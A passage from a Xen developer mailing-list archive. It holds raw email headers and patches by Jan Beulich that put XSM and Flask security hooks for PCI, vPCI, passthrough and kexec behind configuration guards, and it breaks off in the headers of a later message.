Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo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eAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1785244485-364DBAE4-2339DE74/0/0
X-purgate-type: clean
X-purgate-size: 4548

They're unreachable / dead otherwise. Really resource_{,un}plug_pci() is
further limited to PCI pass-through.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -394,6 +394,8 @@ static XSM_INLINE int cf_check xsm_get_d
 }
 #endif /* HAS_PASSTHROUGH && HAS_PCI */
 
+#if defined(CONFIG_HAS_PASSTHROUGH) && defined(CONFIG_HAS_PCI)
+
 static XSM_INLINE int cf_check xsm_resource_plug_pci(
     XSM_DEFAULT_ARG uint32_t machine_bdf)
 {
@@ -408,6 +410,10 @@ static XSM_INLINE int cf_check xsm_resou
     return xsm_default_action(action, current->domain, NULL);
 }
 
+#endif /* CONFIG_HAS_PASSTHROUGH && CONFIG_HAS_PCI */
+
+#ifdef CONFIG_HAS_PCI
+
 static XSM_INLINE int cf_check xsm_resource_setup_pci(
     XSM_DEFAULT_ARG uint32_t machine_bdf)
 {
@@ -421,6 +427,8 @@ static XSM_INLINE int cf_check xsm_resou
     return xsm_default_action(action, current->domain, NULL);
 }
 
+#endif /* CONFIG_HAS_PCI */
+
 static XSM_INLINE int cf_check xsm_resource_setup_misc(XSM_DEFAULT_VOID)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
@@ -524,6 +532,7 @@ static XSM_INLINE int cf_check xsm_iomem
     return xsm_default_action(action, current->domain, d);
 }
 
+#ifdef CONFIG_HAS_PCI
 static XSM_INLINE int cf_check xsm_pci_config_permission(
     XSM_DEFAULT_ARG struct domain *d, uint32_t machine_bdf, uint16_t start,
     uint16_t end, uint8_t access)
@@ -531,6 +540,7 @@ static XSM_INLINE int cf_check xsm_pci_c
     XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, current->domain, d);
 }
+#endif /* CONFIG_HAS_PCI */
 
 static XSM_INLINE int cf_check xsm_add_to_physmap(
     XSM_DEFAULT_ARG struct domain *d1, struct domain *d2)
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -77,21 +77,24 @@ XSM_HOOK(int, unbind_pt_irq, struct doma
 
 XSM_HOOK(int, irq_permission, struct domain *, int, uint8_t)
 XSM_HOOK(int, iomem_permission, struct domain *, uint64_t, uint64_t, uint8_t)
-XSM_HOOK(int, pci_config_permission, struct domain *, uint32_t, uint16_t,
-                                     uint16_t, uint8_t)
 
 XSM_HOOK(int, iomem_mapping, struct domain *, uint64_t, uint64_t, uint8_t)
 XSM_HOOK(int, iomem_mapping_vpci, struct domain *, uint64_t, uint64_t, uint8_t)
 
 #if defined(CONFIG_HAS_PASSTHROUGH) && defined(CONFIG_HAS_PCI)
+XSM_HOOK(int, resource_plug_pci, uint32_t)
+XSM_HOOK(int, resource_unplug_pci, uint32_t)
 XSM_HOOK(int, get_device_group, uint32_t)
 #endif
 
-XSM_HOOK(int, resource_plug_pci, uint32_t)
-XSM_HOOK(int, resource_unplug_pci, uint32_t)
+XSM_HOOK(int, resource_setup_misc)
+
+#ifdef CONFIG_HAS_PCI
 XSM_HOOK(int, resource_setup_pci, uint32_t)
 XSM_HOOK(int, resource_setup_gsi, int)
-XSM_HOOK(int, resource_setup_misc)
+XSM_HOOK(int, pci_config_permission, struct domain *, uint32_t, uint16_t,
+                                     uint16_t, uint8_t)
+#endif
 
 XSM_HOOK(int, hypfs_op)
 
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -1225,6 +1225,7 @@ static int cf_check flask_iomem_mapping(
 }
 #define flask_iomem_mapping_vpci flask_iomem_mapping
 
+#ifdef CONFIG_HAS_PCI
 static int cf_check flask_pci_config_permission(
     struct domain *d, uint32_t machine_bdf, uint16_t start, uint16_t end,
     uint8_t access)
@@ -1250,6 +1251,7 @@ static int cf_check flask_pci_config_per
     return avc_has_perm(dsid, rsid, SECCLASS_RESOURCE, perm, &ad);
 
 }
+#endif /* CONFIG_HAS_PCI */
 
 #if defined(CONFIG_SYSCTL) || defined(CONFIG_X86)
 static int flask_resource_plug_core(void)
@@ -1270,6 +1272,8 @@ static int flask_resource_use_core(void)
 }
 #endif /* CONFIG_SYSCTL */
 
+#if defined(CONFIG_HAS_PASSTHROUGH) && defined(CONFIG_HAS_PCI)
+
 static int cf_check flask_resource_plug_pci(uint32_t machine_bdf)
 {
     uint32_t rsid;
@@ -1300,6 +1304,10 @@ static int cf_check flask_resource_unplu
     return avc_current_has_perm(rsid, SECCLASS_RESOURCE, RESOURCE__UNPLUG, &ad);
 }
 
+#endif /* CONFIG_HAS_PASSTHROUGH && CONFIG_HAS_PCI */
+
+#ifdef CONFIG_HAS_PCI
+
 static int cf_check flask_resource_setup_pci(uint32_t machine_bdf)
 {
     uint32_t rsid;
@@ -1328,6 +1336,8 @@ static int cf_check flask_resource_setup
     return avc_current_has_perm(rsid, SECCLASS_RESOURCE, RESOURCE__SETUP, &ad);
 }
 
+#endif /* CONFIG_HAS_PCI */
+
 static int cf_check flask_resource_setup_misc(void)
 {
     return avc_current_has_perm(SECINITSID_XEN, SECCLASS_RESOURCE, RESOURCE__SETUP, NULL);



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:15:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:15:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374045.1621000 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woheI-0004HF-CZ; Tue, 28 Jul 2026 13:15:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374045.1621000; Tue, 28 Jul 2026 13:15:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woheI-0004H8-9q; Tue, 28 Jul 2026 13:15:10 +0000
Received: by outflank-mailman (input) for mailman id 1374045;
 Tue, 28 Jul 2026 13:15:08 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woheG-0004DE-Ok
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:15:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woheG-002tTP-5F
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:15:08 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ab5b-5cb7-0a2a0a5109dd-0a2a450794a2-4
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:15:08 +0200
Received: from [209.85.221.44] (helo=mail-wr1-f44.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ab5a-b4ea-0a2a45070019-d155dd2cd8b0-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:15:06 +0200
Received: by mail-wr1-f44.google.com with SMTP id
 ffacd0b85a97d-47f97d310caso2737405f8f.2
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:15:06 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c52fa9sm60329966f8f.20.2026.07.28.06.15.05
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:15:05 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244506; x=1785849306; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=hfN4Ana84xKH4bZHnbxldP7VbRY/aTI5+X/yItg8+gc=;
        b=SMUcck84gjvUcakGCLyWlTw0xasshhOzbwBdvagj94tJ/kL2PRFhiQKsDpD33Nf5Q5
         Ro1xU/J1LjG7AA3UB6ZM9iVh+bRV8WSRGhc5pRZap0YHTXnJBLWOLTKFsm/4+bRIJsp9
         djGUn78+zUbEp4HLjEVtixo80sKJpfaVuzJ3/c58JHQNT5VCk39yO5RtjmbTpKyrTAWt
         gnE05ph5ItbeUM0MCOK1H5ex9O2dNVPcV9UZ+qvOY76y+VPlJoZ5XQIg1Zy18pTJ7q14
         98dw2C/iWlgxC/YJDWTLP/cX5laicGRvo3Oynf1XtdoZa2sj/2dZLM3FxU4/SyE9Ztyu
         kBdg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244506; x=1785849306;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=hfN4Ana84xKH4bZHnbxldP7VbRY/aTI5+X/yItg8+gc=;
        b=ip7VFMxkpTcJilNVPZOrbmKS6AfK8JTZzoBTFy/kIBCITxiaX/fT3zbbwrOo+uGYRq
         XUt8COqv9kA7ZHO25QDpUfkpx0TOZdixKDKL0LxA/ZFVFXrQ3pmeiuDgzfB0kLjGe1m8
         oyO8rOfr2NU65vXvHkRc3FxhCNSQdt4wTWp2g25JZhcyloZM9+rma90Pi//o1ufP3r5s
         p212vTQbnoQedwZYSvO8jfMG01rXbZCujy2G2EEQSXgsxxGxvu0KyPSy0Q2/YtPuIDEr
         U14bQV0b/qyz1VdLrrFenyuRvp7aq+bgH7SmS8EGz+5TCQSvTLBraOA7bM6u/KZ7etI1
         YsIg==
X-Gm-Message-State: AOJu0YyFnbW2GWUvnGHPIJBVtfq6dWsmcxeR87uZZWD7IpHqGSZtA6oB
	Xz1TD3KiKEnc5gAb0QkGHjz4eL+VHM8FmEExt+oYdSVoWWMPYtmHLQ+l0Nl98MQDofG/JhMHc5W
	d0tiAjg==
X-Gm-Gg: AR+sD10kJhNudDJo7d/O7Jg1kT98kTDw9aNIOIdvb96cTEOd6FzVckn6da4pHlhvvZy
	TvzJyByQU/VcPOYrXGrW8D9k7lZ0YhN6P3+P5ovcsiaUR/0y1ISrILjVxnhJbHHMmzsTF2W8si6
	Rqz4TiF5K0gLywAZr1XFLzIL+J9sn9f/lzTfLFTYed5kOQ2qeedL5wjg7FmAalwNeQBBycHg2mW
	5K5RMJ3DwRZ5rQQzGlaNgtGN9taYw/WjqeGQR0qrP2A7mNPaGyOfv7sf2dzr9EJ7wY7MnFlmJv5
	mxfjuiO42rUhbGyig0iHM86dDhmBuqN1b5xG0Hy5aQuZ3Osc591hT3rcb8Tj60UZMPLXOEldJ/I
	0N6vvzFcGWo4zKf8g7YQh0+dUHqxgsatERm9bECz8U1I2Z3LHwuBngQX7eVR0iM1GSZEFiDonYz
	B6Q47czMRfyx8y68PhPMVOceqUjvFKvSw2uYsYF+EBXyIdFSdM/NA/mD3aIdOmKd2HDw==
X-Received: by 2002:a05:6000:5c5:b0:47f:8ac6:1b8d with SMTP id ffacd0b85a97d-47fb1e22423mr3240190f8f.0.1785244506148;
        Tue, 28 Jul 2026 06:15:06 -0700 (PDT)
Message-ID: <d466a04f-8151-4b83-972b-3525eaa39bd5@suse.com>
Date: Tue, 28 Jul 2026 15:15:04 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 05/24] XSM: make .iomem_mapping_vcpi() hook dependent upon
 HAS_VPCI=y
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS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FKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1785244506-364DBAE4-26D51F2F/0/0
X-purgate-type: clean
X-purgate-size: 1156

It's unreachable / dead otherwise.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -525,12 +525,14 @@ static XSM_INLINE int cf_check xsm_iomem
     return xsm_default_action(action, current->domain, d);
 }
 
+#ifdef CONFIG_HAS_VPCI
 static XSM_INLINE int cf_check xsm_iomem_mapping_vpci(
     XSM_DEFAULT_ARG struct domain *d, uint64_t s, uint64_t e, uint8_t allow)
 {
     XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, current->domain, d);
 }
+#endif
 
 #ifdef CONFIG_HAS_PCI
 static XSM_INLINE int cf_check xsm_pci_config_permission(
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -79,7 +79,9 @@ XSM_HOOK(int, irq_permission, struct dom
 XSM_HOOK(int, iomem_permission, struct domain *, uint64_t, uint64_t, uint8_t)
 
 XSM_HOOK(int, iomem_mapping, struct domain *, uint64_t, uint64_t, uint8_t)
+#ifdef CONFIG_HAS_VPCI
 XSM_HOOK(int, iomem_mapping_vpci, struct domain *, uint64_t, uint64_t, uint8_t)
+#endif
 
 #if defined(CONFIG_HAS_PASSTHROUGH) && defined(CONFIG_HAS_PCI)
 XSM_HOOK(int, resource_plug_pci, uint32_t)



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:15:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:15:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374054.1621010 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohee-0004m7-Ju; Tue, 28 Jul 2026 13:15:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374054.1621010; Tue, 28 Jul 2026 13:15:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohee-0004ly-Ge; Tue, 28 Jul 2026 13:15:32 +0000
Received: by outflank-mailman (input) for mailman id 1374054;
 Tue, 28 Jul 2026 13:15:31 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohed-0004kQ-4V
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:15:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohec-004lat-HR
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:15:30 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ab58-2eae-0a2a0a5409dd-0a2a4505aeaa-34
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:15:30 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ab72-4cb1-0a2a45050019-d155802acc5a-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:15:30 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-4955aa106b1so36772235e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:15:30 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c67339sm61424883f8f.31.2026.07.28.06.15.28
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:15:28 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244530; x=1785849330; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=x5Ura/4aSJTT1yjoaooe8WKNPNZs5RjaVEYUlZ6AWEA=;
        b=GehQfQTV2NQJOnoyAKgo+0WjICNtJpSxbDh/D7rsEyYLwmHpOMFhDFc4qAJjax+oWx
         ATFsPoBCSTjuXVM2c2Enn5K4A/bma5MX4g4aRnPBscOM+H8cgUow8o1TJsXrOTEiR++k
         MavkqEwDUtQEbUJlEXC3/gL0wuKzD0KKUx10zMdRaffDlaouBZsk7al5HBwbMhDq9SgK
         PsM+q5nwRGI8nYXKO4+8BaCzPoneTypVLKCjp1TELw/usU6944x77h+4bAwWXmVZisvU
         U4gwgfXQv9J7JV3lIUVRkov+GmX5sMgseXBVHgWQJSTp+CXIdQsJoQFvBGOrOd1FRbpI
         59WQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244530; x=1785849330;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=x5Ura/4aSJTT1yjoaooe8WKNPNZs5RjaVEYUlZ6AWEA=;
        b=WHC3mRK6v7iD4r/0I9nQRyucTk/DYgAPoWNSUIswL+E0LPxzvewiQR4mumLfBLs8nS
         h1fP5lgALEyW7IMhL3NQu8MoLN6/JKB5v7y940U3sKiNQBPTeKG7iRCGjh1HLsqyiliW
         JLPAGUjcyrReScJdvpBTcxPDzs0/iTb3Eyw4idtPcr7vT/aGq5gjTPjWcaK3ocAFEFzP
         Wsn2wrG+x7ur5pnYoLSFVljviJ+j23phouMe/ZEnMdVH8dqynWZqp1AStoou9LNC5biD
         cnh+OuGKyNr15dAuG+ltaxH7sxW8/O+FZReo3tyImLayM7Oji0ovbkRIuCUKt65Olfff
         GRyw==
X-Gm-Message-State: AOJu0YyFP7Y3QCnShHUaBaU4IiNp118sV71405aoDjRAsBy9Rs9ZEmpP
	VlMkRuLmX3raiezYPGbxRr3fbwDKr2cK2g2Ss5JxBTDAQv/fZcYX9fgf7JsAyH4RS3kZilfIg8M
	8odn/Aw==
X-Gm-Gg: AR+sD12dVWGbyRnahD/88wSvWe8Eu089L07VdOsTjt9abQbtTRNc9Aw22A9E6lOSpyh
	1a8dRKwQcLffz/VBThqxSCIFrtUwbjGoCJ8mD2PvG4+8blGiJEUhZGpn0HY1uQ8SjWzFPxRNxX+
	NgPQx8aAhGmYZS1WLekIMf4oD0RjTlzcFXbjqd8TSB5/CSkQBAUTKhDbgUPrRyUOxOlPxJWMKkC
	PZ15tMAJgRXusskIKVungvkjU2tVq81IjJ53ABLQcUIcaM1uvxw7MTjUyc/ebYcm1YbxSJ6dzEA
	OFGsXJYxSL1rsNjlDmc7FSQNhP6SFcbCfBCgJZKr2N4dmIxTti3P/7fKX6x+Z4ySYELytJ4JFfv
	aEvN66EvNrLOAXOGxjPDyFu8y5f1lCeIJY693uqUvHguYsc95Euq/yUUtxoQ2nr0tqSmnI2R8YG
	K1Dl4eq1jmW8li6HcUCCiVrKj6sRLiG1wj922JMOoN1GS7EMF1FUILuhq+prgjRJ6tOQ==
X-Received: by 2002:a05:600c:8b2e:b0:495:7952:64df with SMTP id 5b1f17b1804b1-496c659f5a9mr31947615e9.36.1785244529680;
        Tue, 28 Jul 2026 06:15:29 -0700 (PDT)
Message-ID: <2916d9d7-9a9f-4e1f-9202-628532abe35f@suse.com>
Date: Tue, 28 Jul 2026 15:15:27 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 06/24] XSM: make .kexec() hook dependent upon KEXEC=y
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf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3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1785244530-F72B32A1-A26F38C1/0/0
X-purgate-type: clean
X-purgate-size: 1292

It's unreachable / dead otherwise.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -271,11 +271,13 @@ static XSM_INLINE int cf_check xsm_conso
     return xsm_default_action(XSM_PRIV, d, NULL);
 }
 
+#ifdef CONFIG_KEXEC
 static XSM_INLINE int cf_check xsm_kexec(XSM_DEFAULT_VOID)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, NULL);
 }
+#endif
 
 static XSM_INLINE int cf_check xsm_schedop_shutdown(
     XSM_DEFAULT_ARG struct domain *d1, struct domain *d2)
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -61,7 +61,9 @@ XSM_HOOK(int, claim_pages, struct domain
 
 XSM_HOOK(int, console_io, struct domain *, int)
 
+#ifdef CONFIG_KEXEC
 XSM_HOOK(int, kexec)
+#endif
 
 XSM_HOOK(int, schedop_shutdown, struct domain *, struct domain *)
 
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -536,10 +536,12 @@ static int cf_check flask_console_io(str
     return domain_has_xen(d, perm);
 }
 
+#ifdef CONFIG_KEXEC
 static int cf_check flask_kexec(void)
 {
     return domain_has_xen(current->domain, XEN__KEXEC);
 }
+#endif
 
 static int cf_check flask_schedop_shutdown(struct domain *d1, struct domain *d2)
 {



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:15:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:15:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374061.1621019 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohex-0005Et-RC; Tue, 28 Jul 2026 13:15:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374061.1621019; Tue, 28 Jul 2026 13:15:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohex-0005Em-Nd; Tue, 28 Jul 2026 13:15:51 +0000
Received: by outflank-mailman (input) for mailman id 1374061;
 Tue, 28 Jul 2026 13:15:50 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohew-0005EJ-Ma
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:15:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohew-002thY-3F
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:15:50 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ab81-5cb7-0a2a0a5109dd-0a2a4503da4e-10
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:15:50 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ab85-fae8-0a2a45030019-d1558030ace4-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:15:50 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-495590dde14so43188685e9.0
